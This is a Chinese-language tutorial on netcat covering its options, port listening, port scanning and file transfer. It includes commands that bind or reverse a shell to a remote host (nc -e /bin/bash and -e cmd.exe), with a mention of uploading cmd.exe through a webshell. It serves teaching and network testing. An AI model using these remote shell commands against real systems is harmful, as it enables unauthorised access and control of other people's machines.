信息安全工具之瑞士军刀netcat简易使用教程
netcat介绍
netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧......
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。
netcat的作用
netcat参数
nc.exe -h即可看到各参数的使用方法。
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-o file 记录16进制的传输
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
nc监听端口
nc -l -v -p 520
nc反弹shell
正向连接把自己shell转发等待别人连接
Linux把自己的shell反弹出来,然后我们只要使用nc IP 端口 去连接
nc -lvvp 520 -e /bin/bash
Windows 当然这个cmd.exe亦可以是通过webshell上传的cmd.exe
nc -lvvp 520 -e C:\Windows\System32\cmd.exe
反向连接,连接时把自己的shell传过去
nc -lvvp 520
nc.exe -e C:\Windows\System32\cmd.exe IP 端口
nc端口扫描
nc -v -z 192.168.0.25 1-100
nc -v -z -u 192.168.0.25 1-100
nc端口刺探是否开放
nc -vv ip 端口
(UNKNOWN) [192.168.0.104] 80 (http) open 显示open代表开放
nc进行文件传输
接收端:
nc -l 1234 > file.txt
传输端:
nc ip地址 1234 < file.txt
nc常用命令
nc -v ip 端口
扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢。
扫描某 IP 的某 UDP 端口到某 UDP 端口,返回信息详细输出,但扫描速度较慢。
nc -l -p 80
nc -nvv 192.168.1.101 80
nc -nvv -w2 -z 192.168.1.101 80-1024
扫锚192.168.1.101的80-1024端口,连接超时时间为2秒。
【靶机】nc -l -p 2012 -t -e C:\Windows\System32\cmd.exe
【本机】nc -nvv 192.168.1.101 2012
采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到
2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;在本地主机上运行 nc -nvv 192.168.1.101 2012 用于
连接已经将 CMD 重定向到 2012 端口的远程主机(注:假设IP地址为 192.168.1.101)
【传输端】nc -v -n ip port < C:/666.exe
【接受端】nc -v -l -p port > 666.exe
在本地运行 nc -v -n ip port < C:/666.exe 意为从本地 C 盘根目录中读取 666.exe 文件的内容,并把这些数据发送到远程主机的
对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),在远程主机运行 nc -v -l -p port > 666exe 意为监听对应端口并
把接收到的信息数据写到 666.exe 中,两行命令实现了文件在本地主机和远程主机间的传输。